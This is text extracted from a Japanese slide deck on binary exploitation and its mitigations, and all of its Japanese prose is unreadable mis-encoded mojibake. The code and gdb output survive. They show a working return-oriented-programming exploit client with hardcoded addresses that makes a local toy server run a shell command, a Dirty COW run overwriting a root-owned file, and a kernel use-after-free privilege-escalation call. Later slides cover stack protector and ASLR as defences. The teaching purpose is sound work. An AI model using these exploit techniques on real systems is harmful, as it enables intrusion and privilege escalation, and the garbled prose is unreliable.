    αʔόʹૹΔσʔλΛ࡞Δ

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  34. $ ./pktgen
    ΫϥΠΞϯτ αʔό
    $ gdb -q ./tiny_server
    Reading symbols from ./tiny_server...done.
    (gdb) run
    Starting program: /home/fadis/tiny_server
    [Thread debugging using libthread_db
    enabled]
    Using host libthread_db library "/lib64/
    libthread_db.so.1".
    Program received signal SIGABRT, Aborted.
    0x00007ffff6f61228 in raise () from /
    lib64/libc.so.6
    (gdb) backtrace
    #0 0x00007ffff6f61228 in raise () from /
    lib64/libc.so.6
    #1 0x00007ffff6f6264a in abort () from /
    lib64/libc.so.6
    #2 0x0000000000000a0d in ?? ()
    #3 0x00007fffffffd5d0 in ?? ()
    SIGSEGVͰ͸ͳ͘SIGABRTͰαʔό͕ఀࢭͨ͠

    View full-size slide

  35. Program received signal SIGABRT, Aborted.
    0x00007ffff6f61228 in raise () from /
    lib64/libc.so.6
    (gdb) backtrace
    #0 0x00007ffff6f61228 in raise () from /
    lib64/libc.so.6
    #1 0x00007ffff6f6264a in abort () from /
    lib64/libc.so.6
    #2 0x0000000000000a0d in ?? ()
    #3 0x00007fffffffd5d0 in ?? ()
    #4 0x0000000000000042 in ?? ()
    #5 0x0000000000632ef0 in ?? ()
    #6 0x00007fffffffd340 in ?? ()
    #7 0x0000000000412898 in
    boost::get_pointer (
    p=access memory at address
    0xfffffffffffffff9>)
    at /usr/include/boost/get_pointer.hpp:
    69
    Backtrace stopped: previous frame inner to
    this frame (corrupt stack?)
    αʔόͷίʔυ্Ͱ͸
    ݺΜͰ͍ͳ͍
    abortؔ਺͕
    ݺ͹Εͨ͜ͱʹͳ͍ͬͯΔ

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  36. ߈ܸऀ͕ࢦఆͨؔ͠਺͕
    ࣮ߦ͞Εͯ͠·ͬͨ

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  37. ߈ܸऀ͸αʔόͷίϯτϩʔϧΛखʹೖΕ͍ͨ
    ͦͷͨΊʹ͸shellΛىಈ͍ͨ͠
    खͬऔΓૣ͘shellΛ্ཱͪ͛Δʹ͸
    system("࣮ߦ͍ͨ͠ίϚϯυ");
    Λݺ΂Ε͹ྑ͍
    ೚ҙͷؔ਺Λݺ΂Δ͚ͩͰͳ͘
    ೚ҙͷจࣈྻΛҾ਺ͱͯ͠౉ͤΔඞཁ͕͋Δ

    View full-size slide

  38. [1] System V Application Binary Interface AMD64 Architecture Processor Supplement
    §3.5.7 Variable Argument Lists
    x86_64 LinuxͰ͸ؔ਺ͷୈҰҾ਺͸
    %rdiϨδελͰ౉͢͜ͱʹͳ͍ͬͯΔ[1]
    ࣮ߦ͍ͨ͠ίϚϯυΛϝϞϦʹॻ্͍ͨͰ
    Կͱ͔ͯͦ͠ͷΞυϨεΛ%rdiʹ৐ͤͯ
    retqͰؔ਺Λݺͼग़͢ඞཁ͕͋Δ
    rax rbp r8 r12
    rbx rsp r9 r13
    rcx rsi r10 r14
    rdx rdi r11 r15

    View full-size slide

  39. (gdb) disas _ZNSi6ignoreEl

    0x00007ffff788dfc5 <+309>: pop %r14
    0x00007ffff788dfc7 <+311>: retq
    0x7ffff788dfc5
    ඪ४ϥΠϒϥϦ౳͔Βpopͯ͠retq͍ͯ͠ΔॴΛ୳ͯ͘͠Δ
    %r14ʹஔ͖͍ͨ஋
    ͦͷޙʹ࣮ߦ͍ͨ͠ΞυϨε
    ελοΫʹࠨͷΑ͏ʹॻ͍ͯretq͢Δͱ
    %r14ʹ೚ҙͷ஋Λஔ͘͜ͱ͕Ͱ͖Δ
    Return Oriented Programming
    ૢ࡞͍ͨ͠ϨδελΛpopͯ͠retq͍ͯ͠ΔॴΛݟ͚ͭΕ͹
    ೚ҙͷҾ਺Λ͚ͭͯ೚ҙͷؔ਺Λݺͼग़͢͜ͱ͕Ͱ͖Δ

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  40. #include
    #include
    int main() {
    namespace asio = boost::asio;
    using boost::asio::ip::tcp;
    asio::io_service io_service;
    tcp::socket socket(io_service);
    socket.connect(
    tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 )
    );
    const std::vector< uint8_t > command{
    't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };
    std::vector< uint8_t > data {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00,
    0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
    0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00,
    ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ
    ద౰ͳϑΝΠϧΛ࡞੒

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  41. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00,
    0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
    0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00,
    0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00,
    0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00
    };
    for( size_t i = 0u; i != 10u; ++i )
    std::copy( command.begin(), command.end(), std::back_inserter( data ) );
    data.push_back( 0x0d );
    data.push_back( 0x0a );
    boost::system::error_code error;
    asio::write(socket, asio::buffer(data), error);
    return 0;
    if( !error ) {
    asio::streambuf receive_buffer;
    asio::read_until(socket, receive_buffer, '\n', error);
    std::cout << asio::buffer_cast(receive_buffer.data()) << std::endl;
    }
    }
    ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ

    View full-size slide

  42. tcp::socket socket(io_service);
    socket.connect(
    tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 )
    );
    const std::vector< uint8_t > command{
    't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };
    std::vector< uint8_t > data {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00,
    0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
    0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00,
    0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00,
    0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00
    };
    for( size_t i = 0u; i != 10u; ++i )
    std::copy( command.begin(), command.end(), std::back_inserter( data ) );
    data.push_back( 0x0d );
    ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ
    QPQSEJͯ͠SFURͯ͠Δίʔυʹ
    ඈͿͨΊͷΞυϨε
    SEJʹ৐ͤΔ஋
    ࣮ߦ͍ͨ͠ίϚϯυ

    system()
    sync()
    exit()
    γΣϧεΫϦϓτ

    View full-size slide

  43. $ ./pktgen
    ΫϥΠΞϯτ αʔό
    $ gdb -q ./tiny_server
    Reading symbols from ./tiny_server...done.
    (gdb) run
    Starting program: /home/fadis/tiny_server
    [Thread debugging using libthread_db
    enabled]
    Using host libthread_db library "/lib64/
    libthread_db.so.1".
    [Inferior 1 (process 11310) exited with
    code 02]
    (gdb) quit
    $ ls
    a tiny_server
    ͳΜ͔Ͱ͖ͯΔ

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  44. ߈ܸऀ͕αʔό্Ͱ
    ೚ҙͷૢ࡞Λग़དྷͯ͠·ͬͨ

    View full-size slide

  45. ߈ܸऀ͕࣮ߦͨ͠shell͸
    ߈ܸΛड͚ͨϓϩηεΛ࣮ߦͨ͠ϢʔβͷݖݶͰಈ͘
    ߈ܸΛड͚ͨϓϩηε͕
    rootͰಈ͍͍ͯͳ͔ͬͨ৔߹
    ߈ܸऀ͸αʔόͷ׬શͳঠѲͷͨΊʹ
    ݖݶঢ֨Λߦ͏ඞཁ͕͋Δ
    Permission Denied

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  46. ݖݶঢ֨ʹ༻͍ΒΕΔ੬ऑੑͷྫ
    https://dirtycow.ninja/
    ͜͜ʹ
    %*35:$08ͷτοϓϖʔδΛషΔ

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  47. DIRTY COW(CVE-2016-5195)
    mmap࣌ʹMAP_PRIVATEΛ͚ͭΔͱ
    ϑΝΠϧʹର͢Δॻ͖ࠐΈΛ
    ΦϦδφϧͷϑΝΠϧʹ
    ॻ͔ͳ͍Α͏ʹ͢Δ͜ͱ͕Ͱ͖Δ
    ॻ͖ࠐΈ
    ಡΈग़͠
    ϓϩηε͔Β
    ݟͨϑΝΠϧ
    ΦϦδφϧͷ
    ϑΝΠϧ
    ΞυϨεۭؒ

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  48. DIRTY COW(CVE-2016-5195)
    ʮ࢑͘࢖Θͳ͍͔Βॻ͖ࠐΈͷ४උΛϝϞϦ͔ΒԼ͛ͯྑ͍ʯ
    ࢦఆΛߦ͏ͷͱಉ࣌ʹॻ͖ࠐΈΛߦ͏ͱ
    ΦϦδφϧͷϑΝΠϧʹॻ͍ͯ͠·͏ෆ۩߹
    ΦϦδφϧͷϑΝΠϧʹ
    ॻ͖ʹ͍ͬͯ͠·͏
    ϓϩηε͔Β
    ݟͨϑΝΠϧ
    ΦϦδφϧͷ
    ϑΝΠϧ
    MADV_DONTNEEDͰ
    ϝϞϦ͔ΒԼ͛Δ

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  49. DIRTY COW(CVE-2016-5195)
    https://github.com/kcgthb/RHEL6.x-COW/blob/master/6.7/noc0w.patch
    ͜ͷෆ۩߹ࣗମ͸ෳࡶͳ΋ͷͰ͸ͳ͘मਖ਼ύον͸ߦఔ
    ͜͜ʹ
    %*35:$08ͷमਖ਼ύονΛషΔ

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  50. DIRTY COW(CVE-2016-5195)
    root # echo 'abcde' >sample.txt
    root # ls -lha sample.txt
    -rw-r--r-- 1 root root 6 Mar 18 11:21 sample.txt
    root # logout
    non_root $ cat sample.txt
    abcde
    non_root $ ./dirtyc0w sample.txt ‘pwned'
    mmap 7f214599a000
    ^C
    non_root $ cat sample.txt
    pwned
    non_root $ ls -lha sample.txt
    -rw-r--r-- 1 root root 6 3݄ 18 11:21 sample.txt
    ҰൠϢʔβ͕
    root͔͠ॻ͚ͳ͍ϑΝΠϧΛ
    ॻ͖׵͑ͯ͠·ͬͨ
    ͜Ε͕ՄೳͳΒrootϩάΠϯͷೝূΛແ͘͢͜ͱͩͬͯग़དྷΔ

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  51. CVE-2017-15265
    ALSA Sequencer[1]ͷϙʔτΛ࡞͙ͬͯ͢ʹഁغ͢Δ
    [1] ALSA Sequencer http://www.alsa-project.org/~frank/alsa-sequencer/index.html
    Ϣʔβۭؒ Χʔωϧۭؒ
    ϙʔτ͍ͩ͘͞
    Ͳ͏ͧ
    ϙʔτͷͨΊͷ
    ྖҬͷ֬อ
    ϙʔτΛॳظԽ
    εϨου1 εϨου1
    ϙʔτ΋͏͍͍΍ ϙʔτͷͨΊͷ
    ྖҬͷղ์
    εϨου2 εϨου2
    ͠Α͏ͱࢥͬͨΒ
    ແ͔ͬͨ

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  52. ͜͜ʹ
    -JOVYΧʔωϧͷ
    "-4"4FRVFODFSͷॳظԽதͰ
    ίʔϧόοΫΛಡΜͰ͍ΔՕॴΛషΔ
    Use After Free
    Χʔωϧͷߏ଄ମʹ͸ଟ਺ͷίʔϧόοΫؔ਺͕ઃఆ͞Ε͍ͯΔ
    ղ์ࡁΈͷϝϞϦ͸ಉαΠζͷϝϞϦΛ֬อ͢Δͱ
    ߴ֬཰Ͱಉ͡ྖҬΛऔಘͰ͖Δ
    ίʔϧόοΫΛ೚ҙͷΞυϨεʹॻ͖׵͑ͯΧʔωϧʹݺ͹ͤΔ
    https://elixir.bootlin.com/linux/v4.15.10/source/sound/core/seq/seq_clientmgr.c#L619
    ϙʔτ͸΋͏ղ์͞ΕͯΔ͚Ͳ
    ͜͜Ͱϙʔτʹઃఆ͞Εͨ
    ίʔϧόοΫΛݺΜͰΔ

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  53. Use After Free
    ͜ΕΛར༻ͯ͠ԿΛݺ͹ͤΔ͔
    ͦΕ͸΋ͪΖΜ
    commit_creds( prepare_kernel_cred( NULL ) );
    ༁ԶΛrootʹ͠Ζ
    ղ์ࡁΈͷྖҬ͔ΒίʔϧόοΫΛݺͿঢ়ଶʹ͑͞Ͱ͖Ε͹
    ͜ͷ߈ܸ͕੒ཱ͢ΔՄೳੑ͕͋ΔͨΊ
    Use After FreeΛ࢖ͬͨݖݶঢ֨੬ऑੑ͸සൟʹݟ͔ͭΔ

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  54. Use After Free
    $7&
    $7&
    $7&
    ղ์ࡁΈͷྖҬ͔ΒίʔϧόοΫΛݺͿঢ়ଶʹ͑͞Ͱ͖Ε͹
    ͜ͷ߈ܸ͕੒ཱ͢ΔՄೳੑ͕͋ΔͨΊ
    Use After FreeΛ࢖ͬͨݖݶঢ֨੬ऑੑ͸සൟʹݟ͔ͭΔ
    $7&
    $7&
    $7&
    $7&

    View full-size slide

  55. ߈ܸऀ͕αʔόΛ
    ׬શʹঠѲͯ͠͠·ͬͨ

    View full-size slide

  56. ࠣࡉͳෆ۩߹͕
    ͠͹͠͹αʔόͷ
    ηΩϡϦςΟΛ୆ແ͠ʹ͢Δ

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  57. Ұ൪ྑ͍ͷ͸ෆ۩߹͕ແ͍ࣄ͕ͩ
    ͦ͏͸͍ͬͯ΋ෆ۩߹͸ग़ͯ͘ΔͷͰ
    ෆ۩߹͸ग़Δ΋ͷͱͯ͠
    ग़དྷΔ͚ͩக໋తͳ߈ܸʹ௚݁ͤ͞ͳ͍ҝͷ
    ରॲΛߦ͏ඞཁ͕͋Δ

    View full-size slide

  58. TUBDLQSPUFDUPS
    f:
    push %rbp
    mov %rsp,%rbp
    sub $0x20,%rsp
    mov %edi,-0x14(%rbp)
    mov %esi,-0x18(%rbp)
    mov %fs:0x28,%rax
    mov %rax,-0x8(%rbp)
    xor %eax,%eax
    mov -0x14(%rbp),%edx
    mov -0x18(%rbp),%eax
    add %edx,%eax
    mov -0x8(%rbp),%rcx
    xor %fs:0x28,%rcx
    je 40055f
    callq 400400 <__stack_chk_fail@plt>
    leaveq
    retq
    f:
    push %rbp
    mov %rsp,%rbp
    mov %edi,-0x4(%rbp)
    mov %esi,-0x8(%rbp)
    mov -0x4(%rbp),%edx
    mov -0x8(%rbp),%eax
    add %edx,%eax
    pop %rbp
    retq
    ͋Δ࣌
    ͳ͍࣌
    gccͷ࠷దԽΦϓγϣϯͷ1ͭ
    ͳΜ͔
    ૿͑ͯΔ

    View full-size slide

  59. TUBDLQSPUFDUPS
    f:
    push %rbp
    mov %rsp,%rbp
    sub $0x20,%rsp
    mov %edi,-0x14(%rbp)
    mov %esi,-0x18(%rbp)
    mov %fs:0x28,%rax
    mov %rax,-0x8(%rbp)
    xor %eax,%eax
    mov -0x14(%rbp),%edx
    mov -0x18(%rbp),%eax
    add %edx,%eax
    mov -0x8(%rbp),%rcx
    xor %fs:0x28,%rcx
    je 40055f
    callq 400400 <__stack_chk_fail@plt>
    leaveq
    retq
    ͋ΔݻఆͷΞυϨε͔ΒಡΜͩ஋Λ
    ελοΫʹੵΉ
    ઌఔͱಉ͡ΞυϨε͔ΒಡΜͩ஋ͱ
    ελοΫͷ஋Λൺֱ͠
    Ұக͠ͳ͔ͬͨΒabort͢Δ

    View full-size slide

  60. TUBDLQSPUFDUPS
    ؔ਺gͷม਺
    ؔ਺gͷม਺
    ؔ਺gͷม਺
    ؔ਺f͕ऴΘͬͨΒ໭ΔҐஔ
    ؔ਺fͷม਺
    ؔ਺fͷม਺
    ؔ਺gͷSCQ
    ϥϯμϜͳ஋
    όοϑΝΦʔόʔϥϯͰ
    returnΞυϨεΛॻ͖׵͑Δʹ͸
    ͜͜·Ͱॻ͖ࠐΉඞཁ͕͋Δ
    ؒʹڬ·͍ͬͯΔ
    ͜ͷ஋Λॻ͖׵͑ͯ͠·͏ͱ
    ϓϩάϥϜ͸ҟৗऴྃ͢Δ
    όοϑΝΦʔόʔϥϯΛར༻ͨ͠
    ೚ҙͷίʔυͷ࣮ߦ͕ͱͯ΋೉͘͠ͳΔ

    View full-size slide

  61. TUBDLQSPUFDUPS
    xor %eax,%eax
    mov -0x14(%rbp),%edx
    mov -0x18(%rbp),%eax
    add %edx,%eax
    mov -0x8(%rbp),%rcx
    xor %fs:0x28,%rcx
    je 40055f
    callq 400400 <__stack_chk_fail@plt>
    leaveq
    retq
    ઌఔͱಉ͡ΞυϨε͔ΒಡΜͩ஋ͱ
    ελοΫͷ஋Λൺֱ͠
    Ұக͠ͳ͔ͬͨΒabort͢Δ
    ελοΫ͕ഁյ͞ΕͨޙͳͷͰ
    ຊདྷͷॲཧʹ໭Δ͜ͱ͸Ͱ͖ͳ͍
    stack-protector͸
    ߈ܸऀ͕೚ҙͷίʔυΛ࣮ߦͰ͖Δ੬ऑੑΛ
    ߈ܸऀ͕DoS߈ܸΛͰ͖Δ੬ऑੑʹऑΊΔ

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  62. ͜͜ʹ
    3FE)BUʹΑΔ#MVFCPSOFͷղઆΛషΔ
    https://access.redhat.com/security/vulnerabilities/blueborne
    ࣮ࡍʹTUBDLQSPUFDUPS͕໾ʹཱ͍ͬͯΔέʔε
    Blueborne(CVE-2017-1000251)
    γεςϜʹBluetoothͰ઀ଓͰ͖Δೝূ͞Ε͍ͯͳ͍Ϣʔβ͕
    γεςϜΛΫϥογϡͤ͞Δࣄ͕Ͱ͖Δ
    ͋Δ͍͸stack protector͕༗ޮʹͳ͍ͬͯͳ͍৔߹
    ೚ҙͷίʔυ͕࣮ߦ͞ΕΔՄೳੑ͕͋Δ

    View full-size slide

  63. TUBDLQSPUFDUPS
    stack protector͸ελοΫΛগ͠༨෼ʹ࢖͍
    ϝϞϦΞΫηεͱൺֱ͕༨෼ʹൃੜ͢Δ
    -fno-stack-protector(σϑΥϧτ)
    -fstack-protector(͓͢͢Ί)
    -fstack-protector-all
    stack protectorΛ࢓ֻ͚ͳ͍
    όΠτҎ্ͷจࣈྻΛѻ͏ؔ਺ʹstack protectorΛ࢓ֻ͚Δ
    ͋ΒΏΔؔ਺ʹstack protectorΛ࢓ֻ͚Δ
    ࢓ֻ͚͓ͯ͘ͱ໾ʹཱͭͱ͜Ζ͚ͩʹ࢓ֻ͚͓͖͍ͯͨ

    View full-size slide

  64. TUBDLQSPUFDUPS
    stack protector͸
    ελοΫ্ͰͷϝϞϦഁյΛݕ஌͢Δ
    όοϑΝΦʔόʔϥϯ͕ώʔϓ্ͳͲͷ
    ελοΫҎ֎ͷ৔ॴͰى͜Γ
    ͦΕʹΑͬͯഁյ͞ΕͨΞυϨεʹδϟϯϓ͕Մೳͳ৔߹
    stack protector͸߈ܸΛ๷͙ࣄ͕Ͱ͖ͳ͍

    View full-size slide

  65. address space layout randomization
    $ cat /proc/self/maps
    00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat

    00608000-00629000 rw-p 00000000 00:00 0 [heap]
    7f9e54cd8000-7f9e5b63d000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive
    7f9e5b63d000-7f9e5b7cc000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so

    7ffeb0a50000-7ffeb0a72000 rw-p 00000000 00:00 0 [stack]
    7ffeb0b87000-7ffeb0b89000 r--p 00000000 00:00 0 [vvar]
    7ffeb0b89000-7ffeb0b8b000 r-xp 00000000 00:00 0 [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
    $ cat /proc/self/maps
    00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat

    00608000-00629000 rw-p 00000000 00:00 0 [heap]
    7f5e24988000-7f5e2b2ed000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive
    7f5e2b2ed000-7f5e2b47c000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so

    7fffe276e000-7fffe2790000 rw-p 00000000 00:00 0 [stack]
    7fffe27c2000-7fffe27c4000 r--p 00000000 00:00 0 [vvar]
    7fffe27c4000-7fffe27c6000 r-xp 00000000 00:00 0 [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
    ϓϩηεΛىಈ͢ΔͨͼʹϝϞϦϨΠΞ΢τΛม͑Δ
    1ճ໨
    2ճ໨

    View full-size slide

  66. address space layout randomization
    $ cat /proc/self/maps
    00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat

    00608000-00629000 rw-p 00000000 00:00 0 [heap]
    7f9e54cd8000-7f9e5b63d000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive
    7f9e5b63d000-7f9e5b7cc000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so

    7ffeb0a50000-7ffeb0a72000 rw-p 00000000 00:00 0 [stack]
    7ffeb0b87000-7ffeb0b89000 r--p 00000000 00:00 0 [vvar]
    7ffeb0b89000-7ffeb0b8b000 r-xp 00000000 00:00 0 [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
    $ cat /proc/self/maps
    00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat

    00608000-00629000 rw-p 00000000 00:00 0 [heap]
    7f5e24988000-7f5e2b2ed000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive
    7f5e2b2ed000-7f5e2b47c000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so

    7fffe276e000-7fffe2790000 rw-p 00000000 00:00 0 [stack]
    7fffe27c2000-7fffe27c4000 r--p 00000000 00:00 0 [vvar]
    7fffe27c4000-7fffe27c6000 r-xp 00000000 00:00 0 [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
    ϓϩηεΛىಈ͢ΔͨͼʹϝϞϦϨΠΞ΢τΛม͑Δ
    1ճ໨
    2ճ໨
    ελοΫͷΞυϨε͕࣮ߦ͢ΔͨͼʹมԽ͍ͯ͠Δ
    7ffeb0a50000-7ffeb0a72000
    7fffe276e000-7fffe2790000
    system()ʹ౉͢ҝʹॻ͖ࠐΜͩ
    γΣϧεΫϦϓτͷΞυϨε͕ຖճมΘΔҝ
    εΫϦϓτͷ࣮ߦ͕ͱͯ΋೉͘͠ͳΔ

    View full-size slide

  67. address space layout randomization
    $ cat /proc/self/maps
    00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat

    00608000-00629000 rw-p 00000000 00:00 0 [heap]
    7f9e54cd8000-7f9e5b63d000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive
    7f9e5b63d000-7f9e5b7cc000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so

    7ffeb0a50000-7ffeb0a72000 rw-p 00000000 00:00 0 [stack]
    7ffeb0b87000-7ffeb0b89000 r--p 00000000 00:00 0 [vvar]
    7ffeb0b89000-7ffeb0b8b000 r-xp 00000000 00:00 0 [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
    $ cat /proc/self/maps
    00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat

    00608000-00629000 rw-p 00000000 00:00 0 [heap]
    7f5e24988000-7f5e2b2ed000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive
    7f5e2b2ed000-7f5e2b47c000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so

    7fffe276e000-7fffe2790000 rw-p 00000000 00:00 0 [stack]
    7fffe27c2000-7fffe27c4000 r--p 00000000 00:00 0 [vvar]
    7fffe27c4000-7fffe27c6000 r-xp 00000000 00:00 0 [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
    ϓϩηεΛىಈ͢ΔͨͼʹϝϞϦϨΠΞ΢τΛม͑Δ
    1ճ໨
    2ճ໨
    ϥΠϒϥϦͷ഑ஔ΋࣮ߦ͢ΔͨͼʹมԽ
    7f9e5b63d000-7f9e5b7cc000
    7f5e2b2ed000-7f5e2b47c000
    system()౳͕ஔ͔Ε͍ͯΔΞυϨε΋
    ϥϯμϜʹมԽ͢Δҝ
    ೚ҙͷίʔυͷ࣮ߦ͕ͱͯ΋೉͘͠ͳΔ

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  68. $ gdb -q ./tiny_server
    Reading symbols from ./tiny_server...done.
    (gdb) set disable-randomization off
    (gdb) run
    Starting program: /home/fadis/tiny_server_test/tiny_server
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib64/libthread_db.so.1".
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7931f54 in ?? ()
    (gdb) backtrace
    #0 0x00007ffff7931f54 in ?? ()
    #1 0x00007fffffffd3a0 in ?? ()
    #2 0x00007ffff6f6d350 in ?? ()
    #3 0x00007ffff700e5c0 in ?? ()
    #4 0x00007ffff6f63b90 in ?? ()
    #5 0x0061206863756f74 in ?? ()
    #6 0x0000000000000000 in ?? ()
    (gdb) p &system
    $1 = ( *) 0x7f51c76cd350
    (gdb) disas 0x7ffff7931f54
    No function contains specified address.
    ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹

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  69. $ gdb -q ./tiny_server
    Reading symbols from ./tiny_server...done.
    (gdb) set disable-randomization off
    (gdb) run
    Starting program: /home/fadis/tiny_server_test/tiny_server
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib64/libthread_db.so.1".
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7931f54 in ?? ()
    (gdb) backtrace
    #0 0x00007ffff7931f54 in ?? ()
    #1 0x00007fffffffd3a0 in ?? ()
    #2 0x00007ffff6f6d350 in ?? ()
    #3 0x00007ffff700e5c0 in ?? ()
    #4 0x00007ffff6f63b90 in ?? ()
    #5 0x0061206863756f74 in ?? ()
    #6 0x0000000000000000 in ?? ()
    (gdb) p &system
    $1 = ( *) 0x7f51c76cd350
    (gdb) disas 0x7ffff7931f54
    No function contains specified address.
    ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹
    system()͕ظ଴ͨ͠ΞυϨεͱҟͳΔ৔ॴʹ഑ஔ͞Ε͍ͯΔ
    0x00007ffff6f6d350
    0x7f51c76cd350
    ASLRແ͠ͷ৔߹ʹsystem()͕ஔ͍ͯ͋ͬͨ৔ॴ
    ࣮ࡍʹsystem()͕
    ഑ஔ͞Ε͍ͯͨ৔ॴ

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  70. $ gdb -q ./tiny_server
    Reading symbols from ./tiny_server...done.
    (gdb) set disable-randomization off
    (gdb) run
    Starting program: /home/fadis/tiny_server_test/tiny_server
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib64/libthread_db.so.1".
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7931f54 in ?? ()
    (gdb) backtrace
    #0 0x00007ffff7931f54 in ?? ()
    #1 0x00007fffffffd3a0 in ?? ()
    #2 0x00007ffff6f6d350 in ?? ()
    #3 0x00007ffff700e5c0 in ?? ()
    #4 0x00007ffff6f63b90 in ?? ()
    #5 0x0061206863756f74 in ?? ()
    #6 0x0000000000000000 in ?? ()
    (gdb) p &system
    $1 = ( *) 0x7f51c76cd350
    (gdb) disas 0x7ffff7931f54
    No function contains specified address.
    ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹
    ͦΕҎલʹ࠷ॳʹpop %rdi͢Δҝͷίʔυย͕
    ظ଴ͨ͠৔ॴʹͳ͍
    0x00007ffff7931f54
    No function contains specified address
    ASLRແ͠ͷ৔߹ʹpop %rdiͱretq͕͋ͬͨ৔ॴ
    ͦ͜ʹؔ਺͸ແ͍

    View full-size slide

  71. $ gdb -q ./tiny_server
    Reading symbols from ./tiny_server...done.
    (gdb) set disable-randomization off
    (gdb) run
    Starting program: /home/fadis/tiny_server_test/tiny_server
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib64/libthread_db.so.1".
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7931f54 in ?? ()
    (gdb) backtrace
    #0 0x00007ffff7931f54 in ?? ()
    #1 0x00007fffffffd3a0 in ?? ()
    #2 0x00007ffff6f6d350 in ?? ()
    #3 0x00007ffff700e5c0 in ?? ()
    #4 0x00007ffff6f63b90 in ?? ()
    #5 0x0061206863756f74 in ?? ()
    #6 0x0000000000000000 in ?? ()
    (gdb) p &system
